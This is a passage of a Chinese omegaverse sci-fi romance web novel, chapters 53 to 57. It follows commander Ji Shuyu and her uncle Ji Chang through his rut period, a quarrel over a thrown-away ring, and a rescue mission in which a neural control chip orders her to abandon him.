所以在季尝出来的时候,就看到桌上已经摆了一份简单的沙拉,他扬了扬眉头,有些诧异:“你做的?” “嗯,味道还可以的。” 他莫名又想起季舒虞做的饭的味道,真是让人难以忘怀,充满了生活的复杂味道。 但季尝还是很给面子地开始表扬:“果然不错,这个颜色搭配很漂亮。” 季舒虞:“不尝一下吗?” “……一会,不着急。”季尝说。 “你今天心情看起来好了一点,最近身体好些了吗。” “我每天心情都差不多,”季尝没有深入聊这个话题,把自己的戒指递给她,“帮我戴上。” 那枚特殊材质的戒指莹亮,还带着他的体温。 季舒虞执起他的手,在要戴进去的时候被他叫停:“戴无名指。” “结婚才戴在无名指。”季舒虞提醒他。 “嗯,”季尝别过头,声音有些轻,“我同意了。” 说着,手又向前伸了伸。 那枚戒指郑重又缓慢地落在他无名指的指根。 季舒虞垂着眼睛认真的样子,让他心脏不由得又开始加速,季尝喉头不由得滚滚了滚,在她抬眼的时候,紧急撤回目光,看向别处。 但都被她捕捉到了。 看样子心情是好了不少。 季尝今天身上带着一股说不上来的清甜味道,像是淡雅的白花,很好闻,在他要求她帮忙系好围裙的系带后,季舒虞环住了他的腰。 他的身子僵了一下,像是受到了惊吓。 被Alpha从身后抱住的感觉,他只在床上体验过。 耳廓传来女人的呼吸,她从身后贴着他的耳朵,落下一个轻轻的吻:“有什么困难可以告诉我,我帮你分担……” “大小姐,”季尝的尾椎骨都在发麻,他的嗓音有一些变调,随后很快调整好,“你发情了吗,不要捣乱。” 没有什么威慑力。 季舒虞清楚地看着他的耳尖有些发红,很可爱,很好欺负。 这样的季尝不多见。 她见好就收:“你太狠心了,这几天没有和我见过面,季尝,我有很想你。” 季尝转身看着她,随后勾了一下唇角:“这是你第一次说想我。” 依照季舒虞的性格,她从来不会说这些。 这一瞬间,他的心情好了不少。 季舒虞原本不懂、也不屑于表达这些,是他教会的季舒虞。 “能告诉我,你为什么不高兴吗,如果可以的话,我想更了解你。” 有时候她想要一本关于季尝的说明书。 说明书里详细记录他的一切,那些灵魂上的参考,记录她没有见过的那一面,她不懂的季尝,好像这样,近些天莫名其妙的隔阂就能消失,她就能与他更近一些。 季尝和颜悦色了许多,他留在了公馆,抱着她的胳膊小憩。 这样安稳的时间并不多。 季舒虞看着他睫毛落下的阴影,指尖描摹着他浅淡的唇瓣。 她喜欢被季尝依赖的感觉,他很少这样。 如果可以,她不希望再与季尝站在对立面,因为以她们两人的性格来说,到那时候,她们都不会收手的。 “……痛。” 他发出一阵呓语,蹙着眉头,蜷缩地身子更紧了一些。 季尝的身体有些滚烫,信息素的味道又变得不稳定——他的易感期到了。 一股肃杀的硝烟味将他包裹,丝丝缕缕的味道渗入他的身体—— 作者有话说:有没有要点菜的小宝,想看点什么,黑的白的黄的bushi 第54章 你要把我折磨疯了 第五十四章 他的睫羽颤了颤, 像是脆弱的蝴蝶。 呼吸都灼热了。 长时间的信息素安抚后,他的状态堪堪平稳,只是抱着季舒虞小臂的手紧了紧。 蜷缩身体是不安、不舒适的信号,那股信息素毫无章法的缠着她, 想借此获取更多安抚信息素。 他整个人都暖烘烘的, 面颊都泛起薄粉, 可能是因为这段时间过于疲惫, 季尝难得睡得这样沉。 文青山:【长官,时间发过去了。】 叮叮—— 季舒虞看了一眼身旁仍在酣睡的人, 起身回复消息:【我这就来。】 想要在不吵醒季尝的前提下,把手臂抽出来, 是一件艰难的事。 好在他只是不满地皱眉头,并没有醒来。 季舒虞把他有些乱的头发理好, 穿上了大衣。 季尝这一觉睡得格外的久。 他醒来的时候, 下意识要往身旁人的怀里钻, 却落了个空。 “……小鱼?” 身边已经是空无一人。 他这才睁开眼睛,怔怔地抱着她已经变得冰冷的床位, 心里也空落落的。 身体还处于易感期,他很需要季舒虞的信息素,但屋子里稀薄的硝烟味只会让他更难受, 这点东西根本不能舒缓他的难耐, 灼热的身体叫嚣着, 他极度需要季舒虞的信息素安抚。 她应该记得今天是他的易感期的。 这段时间他的神经太紧绷了, 季尝没想要她怎样, 他只是想抱抱季舒虞,哪怕什么都不做,依偎在一起, 或者抱他一会,他的情绪就能好很多。 但就连这点,都没有及时被满足。 他的爱人总是在他最难受的时候不在身边。 那种失落是难以言喻的,糟糕的是易感期的阵阵难耐愈演愈烈。 季尝的手缓缓向下,触及一片泥泞和潮湿,不由得抖了一下。 昨晚刚洗的澡,现在又变得潮漉漉的。 他很不喜欢这样。 “季舒虞,”他呢喃着这个名字,不由得皱起了眉头,“……嗯、小鱼。” 这种感觉实在是不舒服。 潮湿的,虚无的,她能带来的一切体验,季尝自己却做不到,机械又毫无章法。 他想象着是季舒虞在填补他的空缺。 很快,季尝颤抖着流下了一滴眼泪,抬手遮在眼前。 一点都不舒服,反而让他更难受了。 可是季舒虞临走前连信息素都没有留下,他就算想注射、舒缓,也没有办法。 季尝觉得他可能生病了。 他对季舒虞的依赖有些太厉害了,不应该是这样的。 智能管家提醒:【季先生,检测到您的信息素紊乱,需要我帮您叫医疗服务吗?】 “不用。”季尝声音有些干哑,“给我点营养液。” 智能管家应声把一份营养液放在他的手边:【需要告诉主人吗?】 季尝没有说话。 好半晌,他打开了终端,拨通季舒虞的号码。 一串忙音后,冰冷的机械音传来:“您拨的用户忙,如有要事,请留言。” 像是整个人被浸入水中,季尝喘不上气,身体也变得更灼热,更为不适,冰冷的忙音提醒让他觉得骨头都是冷的。 肚子也有些不舒服。 他忍着强烈的不适和鼻尖的酸意,直接挂断,用被子把自己裹紧。 —————————— 一场绝密级别的会议持续了一整个晚上。 清晨,天边已经下起了淅淅沥沥的小雨,潮润润的。 “这场行动还没有筛选出合适的指挥官,长官。”文青山提醒。 但在座官员大都清楚季舒虞会选择谁。 当初季尝被派到温学崖手下的时候,她不是没有和别的执行官合作过,任务圆满完成,但战斗影像明显没有和季尝合作的时候更默契,总是差一点什么。 而现在,季尝重新回到了她的手下,这次的执行官想必没有什么悬念。 “待定。” 季舒虞没有给出明确的答复。 这一项任务原本不会落到她的身上,毕竟这段时间季高还因为上次的丑闻耿耿于怀,没收了她的权限,也把属于她的任务和资源移交到别人手上。 这项任务并不危险,完成之后,对她将来向上爬也有很大的益处。 季舒虞从来没有接到过这么安全的任务。 那这个任务又是怎么落到她的头上的? 季舒虞脑海中浮现出他的脸。 “我更希望你早点升职,我们就不用这么辛苦了。”那天他是这么说的。 其中少不了季尝的运作。 想要把这个差事揽到手,并不是一件容易的事。 他并没有这种权利,提前获取这个消息,再把任务安排在她的身上一定费了不少的力气。 这段时间,文青山密切观察着季尝,她在会议结束后前来告状:“那些人前段时间挖苦执行官大人,说的很难听,被大人拐弯抹角地骂了一通,气得他们直跳脚。” “后来长官联合媒体发布新闻后,这样的挖苦就更多了。” 说他不被承认,见不得光,和他私生子的身份一样。 几乎就是直接撕开他的伤疤。 但季尝神情不变,合理又合规的让他们接二连三的栽跟头,这些人恨季尝恨得咬牙切齿也拿不出证据来。 “这段时间执行官大人的训练轻松了许多,大家还有些不适应,他怎么了吗?” 季舒虞:“……告诉大家,不用担心。” 这些事季尝都没有跟她说过。 他好像什么都习惯了自己,这些在他看来,可能是示弱。 他不喜欢示弱。 季舒虞很想拥抱他,问问他这段时间到底发生了什么,他到底承受了多大的压力。 他从来没有提过这件事。 飞行器停稳,季舒虞耳麦接入智能管家:【主人,欢迎回家。】 “季尝呢?” 【季先生出门了。】 季舒虞眉头扬了扬,刚想打开终端看看他的定位在哪里,转头就看到公馆附近的湖泊旁站着一个男人。 季尝没有打伞,衣服湿透了,他的发尾湿哒哒地坠在身后,身形显得更单薄,脆弱、孤寂,仿佛整个人都要融进雾里了,静静地看着腾升起一层雾气的湖面,不知道在想什么。 她撑着伞走到季尝身边,脉冲伞向他倾斜,为他遮挡风雨。 “怎么不打伞……” “怎么不接电话。” 几乎同时开口,随后各自沉默。 季舒虞先打破了这个氛围:“上级召开绝密会议,没有接到你的消息,抱歉。你淋雨了,回去洗个澡吧。” “我以为你不打算管我了,”他哼笑一声,声音不大,眼底也没有笑意,被雾气笼的雾蒙蒙、冷冷的,“管我做什么呢,大小姐?” 他像一只刺猬,突然竖起了一身的利刺,时不时的戳她一下。 可她不管,还有谁管季尝吗? 这么想着,季舒虞也这么问了出来。 她猛地季尝尖锐的话被扎了一下,有些莫名,也很不舒服:“我不希望看着你因为一场雨死在外面,那些孩子和你的猫,我是不会替你照顾的,祸害遗千年,你好好活着。” 好好活着。 这句话很熟悉,上辈子把他推进时空穿梭机的时候,季舒虞也是这么说的。 前世今生好像在这一刻重叠。 季尝的眼尾有些红,那股信息素的味道酸楚、苦涩,还带着一点说不上来的清甜,像是什么果子。 他就这样看着她,没有说话。 脉冲伞下,视线长久的交汇,耳边只有雨水淅淅沥沥的声音。 “你知道我今天易感期,”季尝的喉结上下滚了滚,“却什么都没给我留下。” “走得匆忙,抱歉,”她的声音带着一丝微不可查的疲惫,“我们回家吧,洗个澡,我给你释放安抚信息素。” “难为你还记得,不用了,”季尝的眼睛垂着,像是在掩饰什么情绪,“我以为,指挥官大人满脑子都是拯救世界,想不起我这无关紧要的身子。” 他像是自虐一样,想要通过这种方式来证明什么一样。 季舒虞的额角又在抽痛,她忍住抬手按额角的动作,想说些什么,但最终没有开口。 这样的冷场更像是默认。 几个月的不安、委屈、提心吊胆,连带着被忽视的感觉像是一座大山,压倒了他的理智。 季尝猛然转向湖面,他的眼眶已经通红,脸上不知道是雨水还是泪水,浸湿了睫毛,湿哒哒的。 “我早该知道,什么东西对你来说,都是无关紧要的。”他一把拽下无名指的戒指,朝着湖面用力扔去。 噗通—— 细微的声音融进了雨声。 “季舒虞,你什么都不懂。” 那双漂亮的眼睛很红,在听到戒指落入水中的声音后,她压抑已久的情绪突然被点燃。 她攥住季尝湿冷的手腕,力道很大:“你疯了?” 那是她们之间最珍贵的东西。 与其说是戒指,更像是一种承诺。 现在季尝当着她的面,扔掉了它。 “去捡回来。”她眉心皱起,声音比细雨还要冷。 冷得他打颤。 季尝蓦地笑出声:“是,我疯了,季舒虞,你要把我折磨疯了……” 一股强大、冰冷,但极具安抚力量的信息素不容置喙地蔓延而来,像是一张无形的巨网,将剧烈挣扎的季尝牢牢包裹,让他挣不脱。 像是命令,又像是本能的救赎。 他的情绪很不对。 她不知道季尝为她做了这么多,私底下又受了这么多委屈,所有的情绪在看到季尝抛弃他们之间最珍贵的信物和承诺后,变成愤怒。她只觉得很累。 季尝不再挣扎。 他脱力地靠在季舒虞的身上,潮湿的脸埋在了她的颈窝,身体轻轻颤抖着。 因为寒冷,因为哭泣。 “……对不起。”季尝声音很闷,但语气生硬,变得空洞,像是所有的情绪都随着那枚戒指丢到了湖里。 颈窝很快被打湿了。 季舒虞抿了抿唇,轻轻拍着着他单薄湿冷的脊背:“你……最近状态很差,情绪也不对,明天跟我去做一次身体检查吧。” 不是强硬的要求,而是询问。 “不,我没病,我不去。”季尝像是被,后退一步,冷声拒绝。 明明是在同一个伞下,慢慢往回走,但季舒虞明显能感觉,她们的气氛有些不对,或者说,她们的关系已经大不如前了,像是季尝再次筑起了一道无形的墙。 冰冷坚硬,那样结实,除非他自己打开,否则她无法打破。 他觉得自己精神出了问题。 但爱上季舒虞这件事,本就是一个问题,这件事不在他意料之中,从对她产生这样的情绪开始,他就已经疯了。 季尝加快脚步,像是想再次走到雨中,与她拉开距离。 这次季舒虞没有再追,她直接关闭了脉冲伞—— 作者有话说:国庆快乐呀小宝们,vb可点菜,欢迎找我玩[好运莲莲] 第55章 之前更讨厌你 第五十五章 小雨将她们淋湿。 漫长的一路, 季尝都没有说话。 在他真正生气的时候,是一句话也不说的。 感情一直都是很棘手的东西。 季舒虞不知道怎么才能让他对自己敞开心扉:“我不想你一个人承受这些,能告诉我你这段时间为什么不高兴吗?” 她理解季尝今天的情绪,他身体不舒服, 却联系不上她, 不能用药抑制, 身边也没有属于她的信息素可以注射, 几乎是硬抗过来的。 这一定不好受。 季尝绷直了唇角,没有开口的打算。 明明杀死敌人对她来说是一件非常简单的事, 哪怕再危险,她也能完成。 但彻底安抚好季尝, 让他打开心扉,从他的嘴里问出缘由, 却是那么困难的一件事。 她没有过这种无力感。 季尝冷着脸拒绝交流, 那股冷冽危险的硝烟味逼近, 季舒虞禁锢住他的腰身,掐着他的下巴, 在冷雨夜里深深地吻他。 不善言辞,从来直来直去的女人,撬开他的齿关, 动作强硬地侵略着他的城池, 掠夺着他的呼吸。 季尝不由得蜷了蜷指节, 别扭的, 轻轻地环上她的腰。 呼吸也乱了。 他报复一样地咬季舒虞, 口中的血腥气也浓重起来,她们像是撕咬彼此的凶兽,可抱着对方的手却越来越紧, 像是要把对方揉进自己的骨血里。 脸上湿湿冷冷的,不知道是他的眼泪还是雨水。 一吻毕,受易感期的影响,季尝身子有些软,但他撑着身子,不想季舒虞扶他。 “要一直不理我吗?”她抵了抵季尝的额头,问。 “……我身体不舒服,抱抱我吧。”他软化了态度,闭上眼睛,睫毛簌簌,好像只要不看季舒虞,就不算丢脸。 “好。” 季舒虞直接将他打横抱起,惹来一声惊呼,季尝环住她的脖颈。 “……混账东西。”季尝咬了咬牙,“我讨厌你。” 她的爱像是一场潮湿的雨。 他没有带伞,避不开。 季尝不喜欢雨季,但这次,他希望只属于他的雨季能延长。 季舒虞的胸膛传来心跳阵阵有力的跳动:“那之前是喜欢我吗?” “之前更讨厌你。” “那现在就是喜欢我一点了。”她点点头,认真的说。 季尝被气笑了:“之前怎么没发现你这样。” “哪样?”她抱着人没松手,揽着腰的手更紧了一些。 公馆。 浴室水汽氤氲,季尝泡在浴缸里,没了力气。 他预想过无数次与季舒虞的争吵,想着她会冷酷地刺痛他,事不关己的看着他。 但这些都没有,她只是吻他、抱他、安慰他。 他的心情像是被眼前这盘蜜饯,酸甜,但皱巴巴的。 身体还是不舒服,但那种不适的感觉好了许多。 “季舒虞,”他叫她,在得到回应后,季尝捧着一捧泡沫,“易感期不好好补偿我,我就不原谅你。” —————————— 绝密行动的执行官被定下。 “还是我们,熟悉的阵营。”文青山对他微微一笑。 季尝点了点头:“文副官满面红光,这是与桑家的婚事定下来了?” 说到这,文青山哈哈一笑:“是啊,届时还请长官和执行官大人到场见证。” 这倒确实是件好事。 当初纠缠季舒虞的omega,这会要跟她的副官订婚了。 可真是…… 季舒虞看出他走神:“在想什么?” “在想,”季尝笑吟吟看了她一眼,“我们该给文副官备一份怎样的大礼。” 季舒虞轻咳了一声,再次提起作战方案:“分为三批,季尝跟着我,A作战组跟文副官走,B作战组留下待命。” “是!” 季尝唇角勾起一点,直到远离其他小组,才问:“我们战斗力相当,怎么把我这个最强的带走?” “哪次你自己行动不受伤?”她递给季尝一支特效针剂。 “我能理解为,这是在担心我吗,亲爱的?”季尝噙着一抹笑,接过那支针剂,小指去勾她的指节,“利用职权之便来保护我,这不是你最不屑的吗?” 但人总是会变的。 “这不算违反规则。”季舒虞说。 他得意地哼笑了一声,如果季尝有条尾巴,现在一定是高高翘起的。 季舒虞看上去神经紧绷,这是她接任务的一贯状态。 他的小指被季舒虞暖的很热:“这次任务没有之前那么危险,不用太担心……” 这段时间,她接的任务里人员死伤惨重,星舰成员已经过重新整合。 “没有以前危险,不代表没有人受伤,”季舒虞打开夜视功能,眼前出现蓝绿色分析数据,“我不希望任何人受伤。” “好。” 这次任务还算顺利,很快就解决了几个异种生物。 异种和之前的有些不一样,明显更聪明。 这是最新的研究成果,它们可能是被投放到这里的。 “这些都是从实验室里出来的,时间久了,就成了气候。”季尝说着,突然问她,“你在实验室的时候,她们给你注射过这种针剂吗?” “不,我们实验室的成立,是为了研究修复药剂,”她换了一把激光步枪,说起童年创伤还能做到面无表情,“前元帅的儿子命不久矣,这些二十多年都是靠着实验室的药活到现在。” 她称呼季昀政为“前元帅”,而非“母亲”。 她们的关系叫母亲很奇怪,季舒虞只会在面上这样,私底下不会。 季尝没什么好脸色:“我那侄子早该死了,强行续命有什么好的?” 如果不是季景深,实验室不会成立,季舒虞也不会受那么多年的折磨。 “我对生母没印象,从有记忆开始,就已经是实验体了。”季舒虞说,“可能如果没有实验室,我现在在某个破旧城区生活,如果幸运的话,会因为S级的身份抓进研究所。” 突破S级还需要研究,那么没有背景的平民如果侥幸觉醒,大都被抓去做研究,而研究成果,都是利于一等公民的。 “那样进不了季家,也遇不到你。” “那这么说,倒是要感谢我这个姐姐了。”他思考道。 那将来他和季舒虞要是能走到结婚那一步,是该邀请她的。 毕竟没有他这个姐姐,他也不一定有妻子。 能打过他的Alpha可没有多少。 “……不要动。”季舒虞将他挡在身后,缓缓朝后退去,打开耳麦,“A作战组排查是否完毕?” “完毕。长官有什么吩咐?” 季尝的呼吸停滞了。 眼前遭遇过巨大的破坏,摇摇欲坠,入口还有人类的尸体,昏暗的里面好像还有幸存者,这种地方必须要极其小心翼翼,稍有不慎就会丧命。 ……哪里是不丢性命的差事。 里面随时会坍塌。 但只要有一个人肯牺牲,在危急时刻及时召唤精神体,就能换里面的幸存者出来。 “前来支援。”女人下达命令。 “……这里有紧急制动阀。”季尝出声,他细细观察着一切可用的工具。 只要里面有异种,按下紧急制动阀,所有的危险都会因为坍塌消失。 这样深入的人员生还的可能性就能大大降低。 进去的人,几乎就是死路一条。 没有人想死。 里面还传来微弱的呼救声,都是活生生的人命。 等不了了,再等下去,救援的难度还会增大。 “我身手比较敏捷,”季尝直接拉下目镜,朝着里面走去,“你是总指挥,在外面控制……” “不行,”季舒虞皱眉,“我们没有分出过胜负,你熟悉控制系统,过来操控,听我安排。” 季尝将手从她的掌心抽了出来,无奈地叹了口气:“时间来不及了,下次吧,等我出来。” 这更像是一个承诺。 他的动作快到只剩下残影,闪身进了即将塌陷的危险区。 季舒虞的心几乎是在这一瞬间提起,她直接让朱雀变回正常形态,随时观察着这里的情况。 季尝的生命体征还是正常的绿色,她紧紧盯着其上的数据变化。 他心跳很快。 有些太快了。 “长官?”文青山不敢大声说话。 “随时准备救援。”季舒虞看着象征存活者的黄色,有三个。 实验室研究异种,也创造异种,她不清楚这次是怎样的物种。 也不清楚里面究竟有多危险。 季尝心跳快到了一定程度,监测到他的生命体征,她的终端已经发出了尖锐的滴滴声,在这里显得格外刺耳。 在场的所有人都屏住了呼吸。 季尝的耳麦频道迟迟没有传回声音,看来信号已经被切断,那里面兴许有类似装置。 正在这时,其中一个黄色的标识突然变红。 那是异种的象征。 “啊啊啊!”幸存者抱着头从入口跑了出来。 “准备救援!” 他看起来精神不太正常,警惕地看着眼前的人,焦虑地啃咬着指甲:“别吃我,别过来,啊!” 他突然尖叫一声,蹲下身抱住头。 季舒虞皱紧了眉头:“把他的嘴给我堵上。” 任何声源都有可能让这里坍塌,季尝还没有出来。 她们无数次核对,里面是有生命体征的人,并非异种,现在突然变红,不可能是突然感染,只能是……异种已经聪慧到能掩饰身份,甚至骗过生命监视仪器。 “快要坍塌了!”文青山急促地提醒。 “长官,入口不能再容纳第二个人通过。” 这意味着,她们不能再进去救援。 季舒虞眼睛死死盯着黑暗处,望眼欲穿。 季尝还没有出来。 她们无法再进去,季尝一个人能应对的过来吗,那是未知的异种。 除了季尝,还有一个幸存者。 下一次出来的是谁,还未可知—— 作者有话说:其实小叔一直觉得自己欠大小姐一条命的 第56章 我不该醒吗 第五十六章 救援也是任务之一。 季舒虞从来都是以任务为第一位, 但这次,她盼望先出来的是季尝。 她几乎是屏住呼吸,哪怕这一举动对局势没有任何影响。 顶端开始松动、脱落。 滴滴滴滴滴—— 季尝的心跳太快了,他的心脏本来就不好, 急促的声音让所有人的心都提了起来。 “文青山留下, 其他人远离, 随时准备进攻和救援。” 人员慢慢疏散, 以免成为致使坍塌的最后一根稻草。 【按下紧急制动阀】 脑海中突然清楚的传来一个指令。 季舒虞控制不住的伸手,像是被操控的人偶, 手指在即将触碰到那个位置的时候开始颤抖,指骨绷紧, 手背上的筋络变得突出而明显。 抵抗指令带来巨大的痛苦,大脑像是有什么东西在搅动, 远比之前的电击更痛、更难以抵抗, 季舒虞觉得自己的脑袋要裂开了。 她不知道控制她的人能不能接到她的想法, 但为了季尝只能试图交涉:【不能、还有我方人员和幸存者没有出来。】 【按下紧急制动阀。】 那边不知道有没有接收到她的回应,机械地重复着。 如果跑出来的是异种, 会造成巨大的损失。 不仅完不成任务,还会损失一名执行官,和其他舰员的生命。 【指令确认, 任务优先级高于一切, 放弃救援执行官季尝, 立即执行逃生协议, 重复, 立即执行逃生协议。】 剧烈的疼痛。 季舒虞眼前的景象都开始跟着模糊,她不受控制地颤抖着。 这是精神和身体上的折磨。 芯片控制她按下紧急制动阀,向她的身体发出“立即转身独自逃离”的指令。 滴滴滴滴—— 那抹红的滴血的, 象征着异种身份的标识闪了闪。 季舒虞调动所有的注意力抵抗指令,不知过了多久,令人牙酸的咯吱声响起。 那是异种骨头被锯断的声音。 “执行官大人!”文青山瞪大了眼睛,语调兴奋。 那任务呢,任务怎么办? 脑子纷乱不堪,一些血来不及吞咽,顺着嘴角溢出一抹血色来。 代表幸存者的黄色暗了下去。 那人死在了里面。 异种的脸酷似人类,只是五官僵硬,更像是缝合而成,它因为剧痛发出尖锐的叫声,震得人耳膜剧痛。 季舒虞的声音沙哑,眼神是前所未有的挣扎:“出来……” 她快要被剧烈的疼痛折磨得站不住了。 规矩是被她刻在骨子的信条,而此刻,她是在用意志违抗本能。 “呃……”季舒虞的喉咙里发出压抑的声音,牙齿死死咬着下唇,血液顺着苍白的下巴滴落,将土地染成深红色。 远超以往的剧痛在她每一根神经末梢炸开。 季舒虞身体晃了晃,耳畔是系统警告的嗡鸣声和季尝焦急的呼喊。 “季舒虞,你清醒一点!”季尝分神看向她。 季舒虞看他的眼神近乎绝望,却又那么坚定:“我命令你、走!” 生死关头,她一如前世。 “生日快乐,小叔。”她的机械腿失灵,看着时空穿梭机的门缓缓关闭,“祝你好运,活下去。” 他知道被操控的人会有怎样的行为。 季舒虞现在行为举止明显不是她的想法,她转身的动作做了一半,肌肉不正常的痉挛,那只手僵硬地停在紧急制动阀上,只要再往前一点点,这里就会彻底关闭,这里会坍塌。 可他无法离开,异种很难缠。 他还没有杀死异种,现在季舒虞被控制,如果他出来,或者躲开,只要不与异种产生正面对抗,它也会跟着出来。 这个位置正对着季舒虞,被控制的她,又是否能及时躲开。 “这是命令,快走。”她声音沙哑地一字一顿。 不是所有的人员武力值都跟季舒虞她们一样,这会造成大量的人员伤亡。 季尝投入战斗:“相信我。” 他知道的,季舒虞不希望任何人受伤。 这里无法靠近,只能出,不能进,异种刚刚发出的叫声已经加剧了坍塌的速度,他的额头上满是泥土和墙灰。 要坍塌了。 季尝的脸上还带着血,异种的,死去幸存者的,还有他自己的。 他找准时机,朝着异种露出的最脆弱的部分猛烈进攻。 每一次交手都会让入口变得更脆弱。 在季舒虞终于抵抗不住,双腿一软,重重地单膝跪地,勉强撑住身形的时候,异种生物彻底死亡。 “长官,大人!” 轰—— 巨大的烟尘将人们的视线遮挡。 沉默。 生命体征消失,不再发出尖锐的声音。 季尝已经没有什么力气了,他本身还在易感期,耗费全身的力气,现在身体上还有许多伤口,只能撑着,一步步挪向垂着头,单膝跪地的季舒虞。 她还在承受痛苦。 她一直在对抗那个他先前不知道、束缚她一生的东西。 对抗的原因是他。 “……小鱼,你流了好多血。”他虚虚地抱住她,声音颤抖的厉害。 那些血蹭在了他的身上。 季舒虞不再是他心中那个冷漠无情、无所不能的总指挥。 直至此刻,季尝才惊恐地意识到,季舒虞会倒下,会死去,不是死于战争,而是有人控制着她。 这个认知让他感受到了灭顶的恐惧。 那些人,要季舒虞杀死他吗…… 季尝没有被这个念头吓到,他只是抱着季舒虞,闭上了干涩的眼睛。 他不希望自己的爱人受到伤害,可如果实在对此无能为力的话,季尝愿意退让,哪怕是远离她,从此再不相见,或者其他,只要她活着。 “别死,季舒虞,你别死,”季尝冰冷的眼泪掉在她的脸上,“睁开眼睛,看看我……” 她没有睁眼。 大滴大滴的眼泪将她脸上干涸的血迹晕开。 “你还没有履行对我的承诺,季舒虞,我做鬼都不会放过你的。” 莫大的慌乱笼罩了他。 “……好吵,再吵下去,我会被烦死。” 她声音沙哑,像是粗糙的砂纸。 本来脑袋就很痛了,她现在听不得一点声音。 季尝愣了一下,他硬生生把眼泪憋了回去,蹙着眉头,眼里含泪,季舒虞一睁眼,看到的就是他这副表情。 眼尾很红,季舒虞抬手,用干净的手背帮他蹭了蹭脸上的泪痕:“别哭,真丑。” “……骗子。” 明明在床上的时候还夸他哭的好看,卖力得很,非得看他哭出来才算。 现在又说他哭起来很丑。 “任务完成了,我们回家。” —————————— 这次任务等级评估失误,她们获得了补偿。 “……经星际联邦军事委员会认定,总指挥官季舒虞符合协调权限要求,即日起正式任命为联邦舰队上将·联邦武装总协调官。” “执行官季尝功绩卓著,现正式宣布,保留其执行官职务,军衔擢升,以彰其功!” 在季尝养好病后,季舒虞陪他去下城区做了几天的施粥仙子。 “谢谢姐姐!”女孩身上的衣服单薄,她捧着那碗热热的粥,弯起眼睛,“哥哥跟姐姐是一起的吗?” 季舒虞没有去想这个深层的“一起”是什么意思,她们的确是一起来的,她点头:“嗯,一起的。” 她看着小孩高兴的笑着,跟一旁俯身的季尝耳语。 她听力敏锐,那些气声清楚的落到她耳中:“什么时候的事呀哥哥!” 季尝则也神神秘秘地跟她耳语:“有段时间了。” “噢!”她看起来更高兴了。 “……”季舒虞无奈地压下唇角的弧度。 他有些太可爱了。 真觉得她认真到听不到这些吗? “很般配哦!”女孩朝她们摆了摆手,“谢谢姐姐哥哥。” 季尝看样子经常来,跟这小孩很熟。 她装作什么都没有听到,问:“你们刚刚说什么了?” “她跟我偷偷夸你。”季尝眼都不眨。 哦,跟季尝般配就叫夸她。 真是大言不惭,季舒虞没忍住,笑了一声。 那枚戒指还没找到。 她派的人找了许多次,几乎要把湖水抽干,就连视力极好的朱雀都没有找到那枚戒指。 但两人都默契的没有再提这件事。 季舒虞想送给他一个项链,好像只要这样,承诺就还在,她们的关系也就又能回到当初。 她们的恋爱注定很辛苦,她不想季尝那么辛苦,季舒虞想给他很多好日子过。 回去的路上,季尝困倦地蜷缩起来,身上还盖着小毛毯,指尖都没露出来:“所以之前你不能违反规则,也是因为被控制吗……” 他感冒了,带着一点鼻音。 季舒虞把飞行器内的温度调高:“嗯,我违反不了规则。” 只要违反规则,神经末梢的芯片就会为她带来电击一般的疼痛。 季舒虞从前不知道,芯片还能控制她的行动,这不止是对她的约束,还是监视器,控制器。监督她履行规则。 那么在背后操控的究竟是谁。 季尝声音有些闷:“你之前从来没有跟我说过这些,一直对我有所保留。” 季舒虞那天的样子好像还在他眼前,他害怕女人身前满是血,浸染土地的模样。 “我不想让你太担心我,”季舒虞说,“知道太多会被盯上。” 她不想季尝冒险。 很久没有传来声音,释放一些安抚信息素,强大的信息素试探性地绕着他,季舒虞问:“……你不高兴了吗?” 季尝没有说话,像是默认。 她侧眼看了身旁的男人一样,他偏着头缩在毛毯里,呼吸很匀称,柔软的栗色长发遮住脸颊的红晕,睫毛一动也不动,像只停止的蝴蝶。 他已经睡着了。 这些天好像总有睡不完的觉。 这几天太忙,也太累,季尝还没有好好休息过。 季舒虞毫不怀疑,如果他没有那么远大的志向,只想做季家富贵闲散的人员,大量的时间都会花在睡眠上。 而呼吸将成为他唯一的有氧运动。 她开启自动飞行模式,想借机量一量季尝颈子的尺寸,好给他准备一个独一无二的礼物。 他身上的每一寸季舒虞都丈量过,但这次她要更精细的数据,为季尝准备一个惊喜。 细绳穿过他的发丝和颈子,季舒虞缓缓收紧。 他的脖颈细白,因为皮肤白皙,颈侧的淡青色也很明显。 她刚丈量出季尝脖颈的数据,他向后一躲,勒痛了细腻的肌肤,她抬眼就撞进他眼底的惊恐:“……做什么!” 那双琥珀色的眼睛里没有了困倦,带着刚刚清醒的湿意。 季舒虞抬眼:“醒了?” “……呵,”季尝不可思议地看着她,气笑了,“我不该醒吗,你想灭口?”—— 作者有话说:季尝:还有谁比我们大小姐心肠更黑更狠,用完就杀^ ^ 第57章 能生出什么呢 第五十七章 就因为他知道了她被操控的这件事? “不, 你听我解释。”季舒虞抽回绳子。 她难得心虚。 明明是要给他准备礼物,现在跳进黄河也洗不清了。 季尝就缩在角落,揉了揉自己的后颈,似笑非笑地看着她, 等待着她的狡辩:“大小姐, 你最好能自圆其说。” 这副模样她太熟悉了。 很显然, 季尝认定她要灭口。 于是她实话实说:“……量一量你脖子的长度。” “这话你自己信吗?”季尝哼笑, 跟她保持着距离,“你哪天少量了, 用手量不够吗?” 他甚至怀疑那次季舒虞想掐死他。 季舒虞解除自动飞行模式,看上去忙碌了许多:“你不打算继续睡了吗?” “睡什么, ”季尝只觉得荒谬,“再睡, 醒来眼前可能就是天堂了, 到时候冤魂问我是怎么下来的, 我说睡觉被侄女勒死了?” —————————— 季舒虞养伤这段时间,他看明白了一件事。 季高没打算放过她们。 季家话事人的位置只有一个, 他和季舒虞只能活一个,可季舒虞不会杀死他的,只要他没有做出背叛她的行为, 她甚至可能把存活的机会让给他, 一如上辈子那样。 季尝觉得, 他与前世的自己有些不同了。 上辈子, 他用尽全力, 想要坐上季家话事人的位置,可这一回,他更想季舒虞好好活着, 她们都好好活着,哪怕代价是他退出。 一定还有别的办法。 几乎是一段刻意维持的、如同偷来的甜蜜,他的心始终不能落回原处,季尝总有预感,他觉得这样的日子快结束了。 这段时间总是很不安,只有被她紧紧抱在怀里的时候,这些感觉才能暂时被驱散。 季舒虞推行的新秩序改革正处于关键期,但前段时间那些绯闻又被翻了出来,说她们不伦,这一点被反对派狠狠揪住,甚至动摇了中间派的支持。 她一直隐瞒这件事,但越闹越大,季尝还是听到了很多风声。 甚至惊动了上面那些人。 “再这样下去,可能导致改革全盘失败。”季舒虞指节绕着他的发尾,但声音很平静,好像不觉得这有什么,“不要难过,这不算什么的,我能搞定。” 季尝面上虽然不显,但信息素的味道是他无法操控的。 